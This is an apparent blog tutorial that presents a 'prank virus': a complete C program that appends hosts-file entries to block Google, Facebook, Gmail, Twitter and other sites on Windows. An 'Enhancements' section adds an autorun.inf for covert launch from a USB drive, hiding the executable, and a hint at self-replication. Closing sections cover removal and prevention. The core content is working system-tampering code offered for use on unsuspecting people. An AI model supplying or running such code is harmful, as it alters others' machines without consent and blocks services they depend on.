Make a website block virus

We will make a “virus” which will block orkut, facebook, google, gmail, twitter and some others in Microsoft Windows systems. This is a very easy to code and effective one, and very good to play prank with friends. But before anything you do, please note that I will NOT be liable for any kind of damage done to any computer system or any other physical or intellectual property. You and only you are liable for everything. Sorry for the message, but i personally do not think such things will happen. To make sure such things do not happen, do not apply this to any man who does important works with the sites which are blocked and whoever you apply this upon, remember to unblock the sites shortly. The antidote is also supplied with this post.

What’s The Idea?

I am not a very good programmer or a virus maker, so the idea is very simple. The code we are going to write does not act like a virus as defined in Wikipedia and so it does not qualify, but we can call it a “virus” with the quotes on :D. Although this does the fun. There is a file named “hosts” in Microsoft Windows systems (also in other systems). The full path of this file is as below:

Microsoft Windows XP: C:\WINDOWS\system32\drivers\etc\hosts
Microsoft Windows 2K: C:\WINNT\system32\drivers\etc\hosts
Microsoft Windows Vista: C:\WINDOWS\system32\drivers\etc\hosts

This file contains the mapping of the IP address to the host names of the websites. That means it contains the IP address to contact for each host listed in that file. This file is loaded in the memory when Windows is started. Each line contains an IP address and next a host name. This signifies that IP address should be contacted if the corresponding host name in entered. We will map each of the hosts to IP address 127.0.0.1 or some nonexistent address like 255.255.255.255. 127.0.0.1 is the IP address of your computer (localhost).

127.0.0.1        www.google.com

After adding the above line and saving the file, relaunch the browser and when you will enter http://www.google.com it will try to connect to 127.0.0.1 , instead of querying the DNS server, and end up in the localhost and if you don’t have any webserver running it will show page cannot be displayed, essentially it will block http://www.google.com We will simply write a C Language program which opens this file and then appends the target websites in this file. If you have a webserver running then it will openup the default page of the localhost. So to make sure it doesnot go anywhere else we can add a nonexistent IP like 255.255.255.255 or 123.456.789.000 .

The above are the default paths of the “hosts” file but it might not be in every case. For example one might not have his/her Windows installation in the C: drive, or he/she might not even have a C: drive at all. And even more the Windows installation directory might have some other name. At that case the paths would change. So how can we know in what path the “hosts” file is in? We will use the Windows Environment Variable SystemRoot . This environment variable has the path to the windows installation directory stored in. So the path to the hosts file will essentially become %SystemRoot%\system32\drivers\etc\hosts . We will make use of the getenv () function in standard library stdlib.h to fetch the value of SystemRoot variable and then concatenate rest of the path to it to get the absolute path of the hosts file. As Below:

char hosts_file_path[FILENAME_MAX];
strcpy (hosts_file_path, getenv ("SystemRoot"));
strcat (hosts_file_path, "\\system32\\drivers\\etc\\hosts");
/* After these two lines "hosts_file_path" will have the absolute path to the "hosts" file */

We will use the above path to get the hosts file. This will make the code work in almost any windows installations.

To know more about the hosts file visit the below links:

• http://en.wikipedia.org/wiki/Hosts_file
• http://www.mvps.org/winhelp2002/hosts.htm

The Code

Now the code, it has only three steps:

1. Open the “hosts” file in append mode
2. Append the line entries
3. Close the file

The code is presented below:

/*
 * File Name   : bsit.c
 * Description : A cheap code to append the hosts file
 *               under Microsoft Windows and block popular
 *               sites.
 * Antidote    : Remove the appended lines from the hosts
 *               file and save it.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int
main (void)
{
  FILE *fp;
  int i;
  char hosts_file_path[FILENAME_MAX];
  char ip[] = "255.255.255.255";

  /* Add your sites in the below list. */
  char *blist[] = {
    "www.orkut.com",
    "orkut.com",
    "www.google.com",
    "google.com",
    "www.google.co.in",
    "google.co.in",
    "www.gmail.com",
    "gmail.com",
    "www.facebook.com",
    "facebook.com",
    "www.yahoo.com",
    "yahoo.com",
    "www.twitter.com",
    "twitter.com",
    "#"
  };

  strcpy (hosts_file_path, getenv ("SystemRoot"));
  strcat (hosts_file_path, "\\system32\\drivers\\etc\\hosts");

  if ((fp = fopen (hosts_file_path, "a")) == NULL)
    return 0;

  for (i = 0; blist[i][0] != '#'; i++)
    {
      fputs (ip, fp);
      fputs ("        ", fp);
      fputs (blist[i], fp);
      fputs ("\n", fp);
    }

  fclose (fp);
  return 0;
}

Now just compile it with any compiler, like GCC, MinGW, Digital Mars, Borland, and make sure you are in Microsoft Windows environment. (Please avoid Turbo C++ v3.0). This needs to execute only once. The main drawback is you need to execute this program as administrator making this a cheap attack. But most of the general Microsoft Windows users log in as administrator.

Enhancements

Autorunning this compiled executable, from a plugged in USB flash drive will make an enhancements and more vicious. Open a text editor and enter the following code in and save the file with the name “autorun.inf” in your usb drive along the compiled exe file.

[autorun]
open=compiled_file.exe

When making the inf file make sure that the extension is inf. By default in Windows the extentions are not shown. So when you save the text file as autorun.inf it will actually be autorun.inf.txt. So first show the extentions the file extensions from the Folder Options, or right click -> new -> text file and then enter the name.

And also make the exe file hidden, it can also be made read only. Further enhancements could be done making it able to replicate and spread into other connected USB flash drives or portable harddisks, but I will stop here. And ofcource adding more sites to the list will get better.
Note: The new XP update has stopped auto running feature.

Antidote

The antidote is to remove the appended lines in the file. In the worst case the executable file might have run many times and appended the same lines more than one time. To clean the mess we need to manually seek for the entries and remove, or use a pattern match program (i do not know any pattern match program in Windows). Or we would just make a backup before we append the file (do viruses take data backups of the targets?).

Prevention

To prevent this code, and also tons of codes even a lot of heavy weight ones the best way is to always use a user account with limited permission, and not the administrator account. Usage of the administrator account makes way for the majority viruses to access your system file and tamper with them. So make a normal use account and limit its permission. When surfing Internet the best is to use an account with the minimal permission. Also disable the autorun feature. This will save you from major part of attacks and cheap attacks like this one. For the heavyweight true cracker-hacker attack keep your copy of Microsoft Windows updated and the firewall on, and never use a pirated copy and convert it to a professional edition (they really never convert). We cannot make this cheap attack in GNU+Linux systems’s /etc/hosts as everyone use a non-root user to login. So as you can see windows users themselves open the doors by using the administrator to log in and make the malatious program’s work easy.

The Good Side

The hosts file is the best way To block ad sites, porn sites, and virus, malware sites. What you have to do is to add a list of bad sites in the hosts file and map it to 127.0.0.1 and you will never get into those bad sites. For a bad site listing for the hosts file click the following link and use that file. This file contains a ton of bad sites listed. The big ad-ware hi-fi software also use this file to block unwanted sites. To get a list of bad sites visit http://www.mvps.org/winhelp2002/hosts.htm